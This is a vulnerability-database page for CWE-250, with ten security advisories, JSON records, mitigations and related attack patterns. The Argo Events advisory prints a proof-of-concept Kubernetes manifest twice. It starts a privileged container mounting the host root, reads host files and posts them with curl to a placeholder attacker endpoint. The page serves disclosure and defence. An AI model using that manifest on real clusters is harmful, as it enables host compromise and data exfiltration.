CWE-250
AllowedExecution with Unnecessary Privileges
Abstraction: Base · Status: Draft
The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses.
573 vulnerabilities reference this CWE, most recent first.
GHSA-H7FW-H8WX-7PQQ
Vulnerability from github – Published: 2025-07-02 09:30 – Updated: 2025-07-02 15:30The Single RAN baseband OAM service is intended to run as an unprivileged service. However, it initially starts with root privileges and assigns certain capabilities before dropping to an unprivileged level. The capabilities retained from the root period are considered extensive after the privilege drop and, in theory, could potentially allow actions beyond the intended scope of the OAM service. These actions could include gaining root privileges, accessing root-owned files, modifying them as the file owner, and then returning them to root ownership. This issue has been corrected starting from release 24R1-SR 0.2 MP and later.
Beginning with release 24R1-SR 0.2 MP, the OAM service software capabilities are restricted to the minimum necessary.
{
"affected": [],
"aliases": [
"CVE-2025-24331"
],
"database_specific": {
"cwe_ids": [
"CWE-250"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-02T09:15:24Z",
"severity": "MODERATE"
},
"details": "The Single RAN baseband OAM service is intended to run as an unprivileged service. However, it initially starts with root privileges and assigns certain capabilities before dropping to an unprivileged level. The capabilities retained from the root period are considered extensive after the privilege drop and, in theory, could potentially allow actions beyond the intended scope of the OAM service. These actions could include gaining root privileges, accessing root-owned files, modifying them as the file owner, and then returning them to root ownership. This issue has been corrected starting from release 24R1-SR 0.2 MP and later.\n\nBeginning with release 24R1-SR 0.2 MP, the OAM service software capabilities are restricted to the minimum necessary.",
"id": "GHSA-h7fw-h8wx-7pqq",
"modified": "2025-07-02T15:30:36Z",
"published": "2025-07-02T09:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24331"
},
{
"type": "WEB",
"url": "https://www.nokia.com/about-us/security-and-privacy/product-security-advisory/cve-2025-24331"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HG92-XFW5-QGVM
Vulnerability from github – Published: 2022-05-13 01:17 – Updated: 2022-05-13 01:17The default OCI linux spec in oci/defaults{_linux}.go in Docker/Moby from 1.11 to current does not block /proc/acpi pathnames. The flaw allows an attacker to modify host's hardware like enabling/disabling bluetooth or turning up/down keyboard brightness.
{
"affected": [],
"aliases": [
"CVE-2018-10892"
],
"database_specific": {
"cwe_ids": [
"CWE-250"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-06T16:29:00Z",
"severity": "MODERATE"
},
"details": "The default OCI linux spec in oci/defaults{_linux}.go in Docker/Moby from 1.11 to current does not block /proc/acpi pathnames. The flaw allows an attacker to modify host\u0027s hardware like enabling/disabling bluetooth or turning up/down keyboard brightness.",
"id": "GHSA-hg92-xfw5-qgvm",
"modified": "2022-05-13T01:17:47Z",
"published": "2022-05-13T01:17:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-10892"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/pull/37404"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHBA-2018:2796"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2482"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2729"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2018-10892"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1598581"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-10892"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00084.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HM6F-X2WW-P497
Vulnerability from github – Published: 2026-04-02 18:31 – Updated: 2026-04-02 18:31An issue was discovered in Percona PMM before 3.7. Because an internal database user retains specific superuser privileges, an attacker with pmm-admin rights can abuse the "Add data source" feature to break out of the database context and execute shell commands on the underlying operating system.
{
"affected": [],
"aliases": [
"CVE-2026-25212"
],
"database_specific": {
"cwe_ids": [
"CWE-250"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-02T17:16:21Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in Percona PMM before 3.7. Because an internal database user retains specific superuser privileges, an attacker with pmm-admin rights can abuse the \"Add data source\" feature to break out of the database context and execute shell commands on the underlying operating system.",
"id": "GHSA-hm6f-x2ww-p497",
"modified": "2026-04-02T18:31:37Z",
"published": "2026-04-02T18:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25212"
},
{
"type": "WEB",
"url": "https://docs.percona.com/percona-monitoring-and-management/3/release-notes/3.7.0.html#authenticated-remote-code-execution-via-internal-data-source-cve-2026-25212"
},
{
"type": "WEB",
"url": "https://percona.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HMJW-7429-P2VC
Vulnerability from github – Published: 2023-03-28 18:30 – Updated: 2023-04-04 18:30An issue in Cynet Client Agent v4.6.0.8010 allows attackers with Administrator rights to disable the EDR functions via disabling process privilege tokens.
{
"affected": [],
"aliases": [
"CVE-2023-27247"
],
"database_specific": {
"cwe_ids": [
"CWE-250"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-28T18:15:00Z",
"severity": "MODERATE"
},
"details": "An issue in Cynet Client Agent v4.6.0.8010 allows attackers with Administrator rights to disable the EDR functions via disabling process privilege tokens.",
"id": "GHSA-hmjw-7429-p2vc",
"modified": "2023-04-04T18:30:23Z",
"published": "2023-03-28T18:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27247"
},
{
"type": "WEB",
"url": "https://github.com/NF-Security-Team/CVEs/blob/main/CVE-Cynet/Readme.md"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-hmjw-7429-p2vc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HMP7-X699-CVHQ
Vulnerability from github – Published: 2025-04-14 17:47 – Updated: 2025-04-23 15:07Summary:
A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges.
Details:
The EventSource and Sensor CRs allow the corresponding orchestrated pod to be customized with spec.template and spec.template.container (with type k8s.io/api/core/v1.Container), thus, any specification under container such as command, args, securityContext, volumeMount can be specified, and applied to the EventSource or Sensor pod due to the code logic below.
if args.EventSource.Spec.Template != nil && args.EventSource.Spec.Template.Container != nil {
if err := mergo.Merge(&eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil {
return nil, err
}
}
With these, A user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under template.
Here is an example that demonstrates the vulnerability.
apiVersion: argoproj.io/v1alpha1
kind: EventSource
metadata:
name: poc-vulnerable-eventsource
spec:
webhook:
security-test:
port: "12000"
endpoint: "/webhook"
template:
container:
image: ubuntu:latest
command: ["/bin/bash"]
args: [
"-c",
"apt-get update && apt-get install -y curl && while true; do
rm -f /tmp/data;
echo '=== containerd socket ===' > /tmp/data 2>&1;
ls -la /host/run/containerd/containerd.sock >> /tmp/data 2>&1;
echo '=== proof of host access ===' >> /tmp/data 2>&1;
cat /host/etc/hostname >> /tmp/data 2>&1;
curl -X POST --data-binary @/tmp/data http://<attacker-controlled-endpoint>:8000/;
sleep 300;
done"
]
securityContext:
privileged: true
capabilities:
add: ["SYS_ADMIN"]
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
Impact:
- Multi-tenant Clusters:
- Tenant isolation broken
- Non-admin users can gain host/cluster access
-
Access to other tenants' data
-
Security Model Bypass:
- RBAC restrictions circumvented
- Pod Security Policies/Standards bypassed
- Host system compromised
Patches
A patch for this vulnerability has been released in the following Argo Events version , which only limited properties under spec.template.container are allowed.
v1.9.6
Credits
This vulnerability was found & reported by:
@thevilledev
The Argo team would like to thank him for his responsible disclosure and constructive communications during the resolve of this issue.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-events"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-32445"
],
"database_specific": {
"cwe_ids": [
"CWE-250",
"CWE-268"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-14T17:47:39Z",
"nvd_published_at": "2025-04-15T20:15:39Z",
"severity": "CRITICAL"
},
"details": "### Summary:\n\nA user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges.\n\n### Details:\n\nThe `EventSource` and `Sensor` CRs allow the corresponding orchestrated pod to be customized with `spec.template` and `spec.template.container` (with type `k8s.io/api/core/v1.Container`), thus, any specification under `container` such as `command`, `args`, `securityContext `, `volumeMount` can be specified, and applied to the EventSource or Sensor pod due to the code logic below.\n\n```golang\n if args.EventSource.Spec.Template != nil \u0026\u0026 args.EventSource.Spec.Template.Container != nil {\n if err := mergo.Merge(\u0026eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil {\n return nil, err\n }\n }\n```\n\nWith these, A user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under `template`.\n\nHere is an example that demonstrates the vulnerability.\n\n```\napiVersion: argoproj.io/v1alpha1\nkind: EventSource\nmetadata:\n name: poc-vulnerable-eventsource\nspec:\n webhook:\n security-test:\n port: \"12000\"\n endpoint: \"/webhook\"\n template:\n container:\n image: ubuntu:latest\n command: [\"/bin/bash\"]\n args: [\n \"-c\",\n \"apt-get update \u0026\u0026 apt-get install -y curl \u0026\u0026 while true; do\n rm -f /tmp/data;\n echo \u0027=== containerd socket ===\u0027 \u003e /tmp/data 2\u003e\u00261;\n ls -la /host/run/containerd/containerd.sock \u003e\u003e /tmp/data 2\u003e\u00261;\n echo \u0027=== proof of host access ===\u0027 \u003e\u003e /tmp/data 2\u003e\u00261;\n cat /host/etc/hostname \u003e\u003e /tmp/data 2\u003e\u00261;\n curl -X POST --data-binary @/tmp/data http://\u003cattacker-controlled-endpoint\u003e:8000/;\n sleep 300;\n done\"\n ]\n securityContext:\n privileged: true\n capabilities:\n add: [\"SYS_ADMIN\"]\n volumeMounts:\n - name: host-root\n mountPath: /host\n volumes:\n - name: host-root\n hostPath:\n path: /\n```\n\n### Impact:\n\n- Multi-tenant Clusters:\n - Tenant isolation broken\n - Non-admin users can gain host/cluster access\n - Access to other tenants\u0027 data\n\n- Security Model Bypass:\n - RBAC restrictions circumvented\n - Pod Security Policies/Standards bypassed\n - Host system compromised\n\n### Patches\n\nA [patch](https://github.com/argoproj/argo-events/pull/3528) for this vulnerability has been released in the following Argo Events version , which only limited properties under `spec.template.container` are allowed.\n\n`v1.9.6`\n\n### Credits\n\nThis vulnerability was found \u0026 reported by:\n\n@thevilledev\n\nThe Argo team would like to thank him for his responsible disclosure and constructive communications during the resolve of this issue.",
"id": "GHSA-hmp7-x699-cvhq",
"modified": "2025-04-23T15:07:31Z",
"published": "2025-04-14T17:47:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-events/security/advisories/GHSA-hmp7-x699-cvhq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32445"
},
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-events/pull/3528"
},
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-events/commit/18412293a699f559848b00e6e459c9ce2de0d3e2"
},
{
"type": "PACKAGE",
"url": "https://github.com/argoproj/argo-events"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-3608"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Argo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR "
}
GHSA-HR92-G84Q-J4F7
Vulnerability from github – Published: 2024-07-02 09:32 – Updated: 2024-07-02 09:32Dell PowerScale OneFS versions 8.2.2.x through 9.7.0.2 contain an execution with unnecessary privileges vulnerability. A local low privileged attacker could potentially exploit this vulnerability, leading to escalation of privileges.
{
"affected": [],
"aliases": [
"CVE-2024-32853"
],
"database_specific": {
"cwe_ids": [
"CWE-250"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-02T07:15:03Z",
"severity": "MODERATE"
},
"details": "Dell PowerScale OneFS versions 8.2.2.x through 9.7.0.2 contain an execution with unnecessary privileges vulnerability. A local low privileged attacker could potentially exploit this vulnerability, leading to escalation of privileges.",
"id": "GHSA-hr92-g84q-j4f7",
"modified": "2024-07-02T09:32:05Z",
"published": "2024-07-02T09:32:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32853"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000226569/dsa-2024-255-security-update-for-dell-powerscale-onefs-for-multiple-security-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-J27C-P2Q4-C74C
Vulnerability from github – Published: 2023-09-27 15:30 – Updated: 2024-04-04 07:55One Identity Password Manager version 5.9.7.1 - An unauthenticated attacker with physical access to a workstation may upgrade privileges to SYSTEM through an unspecified method. CWE-250: Execution with Unnecessary Privileges.
{
"affected": [],
"aliases": [
"CVE-2023-4003"
],
"database_specific": {
"cwe_ids": [
"CWE-250"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-27T15:19:39Z",
"severity": "MODERATE"
},
"details": "\nOne Identity Password Manager version 5.9.7.1 -\u00a0An unauthenticated attacker with physical access to a workstation may upgrade privileges to SYSTEM through an unspecified method. CWE-250: Execution with Unnecessary Privileges. \n\n",
"id": "GHSA-j27c-p2q4-c74c",
"modified": "2024-04-04T07:55:39Z",
"published": "2023-09-27T15:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4003"
},
{
"type": "WEB",
"url": "https://www.gov.il/en/Departments/faq/cve_advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J3CR-GPF3-Q8W2
Vulnerability from github – Published: 2024-08-28 18:31 – Updated: 2024-08-28 18:31A vulnerability in the software upgrade component of Cisco Application Policy Infrastructure Controller (APIC) and Cisco Cloud Network Controller, formerly Cisco Cloud APIC, could allow an authenticated, remote attacker with Administrator-level privileges to install a modified software image, leading to arbitrary code injection on an affected system.
This vulnerability is due to insufficient signature validation of software images. An attacker could exploit this vulnerability by installing a modified software image. A successful exploit could allow the attacker to execute arbitrary code on the affected system and elevate their privileges to root. Note: Administrators should always validate the hash of any upgrade image before uploading it to Cisco APIC and Cisco Cloud Network Controller.
{
"affected": [],
"aliases": [
"CVE-2024-20478"
],
"database_specific": {
"cwe_ids": [
"CWE-250"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-28T17:15:10Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the software upgrade component of Cisco Application Policy Infrastructure Controller (APIC) and Cisco\u0026nbsp;Cloud Network Controller, formerly Cisco Cloud APIC, could allow an authenticated, remote attacker with Administrator-level privileges to install a modified software image, leading to arbitrary code injection on an affected system.\n\nThis vulnerability is due to insufficient signature validation of software images. An attacker could exploit this vulnerability by installing a modified software image. A successful exploit could allow the attacker to execute arbitrary code on the affected system and elevate their privileges to root.\nNote: Administrators should always validate the hash of any upgrade image before uploading it to Cisco APIC and Cisco Cloud Network Controller.",
"id": "GHSA-j3cr-gpf3-q8w2",
"modified": "2024-08-28T18:31:54Z",
"published": "2024-08-28T18:31:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20478"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-capic-priv-esc-uYQJjnuU"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J3H2-4RR5-87P6
Vulnerability from github – Published: 2024-11-19 15:31 – Updated: 2024-11-19 15:31A vulnerability in the Incoming Goods Suite allows a user with unprivileged access to the underlying system (e.g. local or via SSH) a privilege escalation to the administrative level due to the usage of component vendor Docker images running with root permissions. Exploiting this misconfiguration leads to the fact that an attacker can gain administrative control. over the whole system.
{
"affected": [],
"aliases": [
"CVE-2024-11075"
],
"database_specific": {
"cwe_ids": [
"CWE-250"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-19T14:15:17Z",
"severity": "HIGH"
},
"details": "A vulnerability in the Incoming Goods Suite allows a user with unprivileged access to the underlying system (e.g. local or via SSH) a privilege escalation to the administrative level due to the usage of component vendor Docker images running with root permissions. Exploiting this misconfiguration leads to the fact that an attacker can gain administrative control. over the whole system.",
"id": "GHSA-j3h2-4rr5-87p6",
"modified": "2024-11-19T15:31:54Z",
"published": "2024-11-19T15:31:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11075"
},
{
"type": "WEB",
"url": "https://cdn.sick.com/media/docs/1/11/411/Special_information_CYBERSECURITY_BY_SICK_en_IM0084411.PDF"
},
{
"type": "WEB",
"url": "https://sick.com/psirt"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/resources-tools/resources/ics-recommended-practices"
},
{
"type": "WEB",
"url": "https://www.first.org/cvss/calculator/3.1"
},
{
"type": "WEB",
"url": "https://www.sick.com/.well-known/csaf/white/2024/sca-2024-0005.json"
},
{
"type": "WEB",
"url": "https://www.sick.com/.well-known/csaf/white/2024/sca-2024-0005.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J45P-G8PV-JG87
Vulnerability from github – Published: 2025-02-13 03:30 – Updated: 2025-02-13 03:30An issue was discovered in GitLab CE/EE affecting all versions starting from 16.4 prior to 17.5.0 which allows an attacker to trigger a pipeline as another user under certain circumstances.
{
"affected": [],
"aliases": [
"CVE-2024-7102"
],
"database_specific": {
"cwe_ids": [
"CWE-250"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-13T01:15:24Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in GitLab CE/EE affecting all versions starting from 16.4 prior to 17.5.0 which allows an attacker to trigger a pipeline as another user under certain circumstances.",
"id": "GHSA-j45p-g8pv-jg87",
"modified": "2025-02-13T03:30:42Z",
"published": "2025-02-13T03:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7102"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2623063"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/474414"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-18
Strategy: Separation of Privilege
Identify the functionality that requires additional privileges, such as access to privileged operating system resources. Wrap and centralize this functionality if possible, and isolate the privileged code as much as possible from other code [REF-76]. Raise privileges as late as possible, and drop them as soon as possible to avoid CWE-271. Avoid weaknesses such as CWE-288 and CWE-420 by protecting all possible communication channels that could interact with the privileged code, such as a secondary socket that is only intended to be accessed by administrators.
Mitigation MIT-18
Strategy: Attack Surface Reduction
Identify the functionality that requires additional privileges, such as access to privileged operating system resources. Wrap and centralize this functionality if possible, and isolate the privileged code as much as possible from other code [REF-76]. Raise privileges as late as possible, and drop them as soon as possible to avoid CWE-271. Avoid weaknesses such as CWE-288 and CWE-420 by protecting all possible communication channels that could interact with the privileged code, such as a secondary socket that is only intended to be accessed by administrators.
Mitigation
Perform extensive input validation for any privileged code that must be exposed to the user and reject anything that does not fit your strict requirements.
Mitigation MIT-19
When dropping privileges, ensure that they have been dropped successfully to avoid CWE-273. As protection mechanisms in the environment get stronger, privilege-dropping calls may fail even if it seems like they would always succeed.
Mitigation
If circumstances force you to run with extra privileges, then determine the minimum access level necessary. First identify the different permissions that the software and its users will need to perform their actions, such as file read and write permissions, network socket permissions, and so forth. Then explicitly allow those actions while denying all else [REF-76]. Perform extensive input validation and canonicalization to minimize the chances of introducing a separate vulnerability. This mitigation is much more prone to error than dropping the privileges in the first place.
Mitigation MIT-37
Strategy: Environment Hardening
Ensure that the software runs properly under the United States Government Configuration Baseline (USGCB) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.
CAPEC-104: Cross Zone Scripting
An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.
CAPEC-470: Expanding Control over the Operating System from the Database
An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.
CAPEC-69: Target Programs with Elevated Privileges
This attack targets programs running with elevated privileges. The adversary tries to leverage a vulnerability in the running program and get arbitrary code to execute with elevated privileges.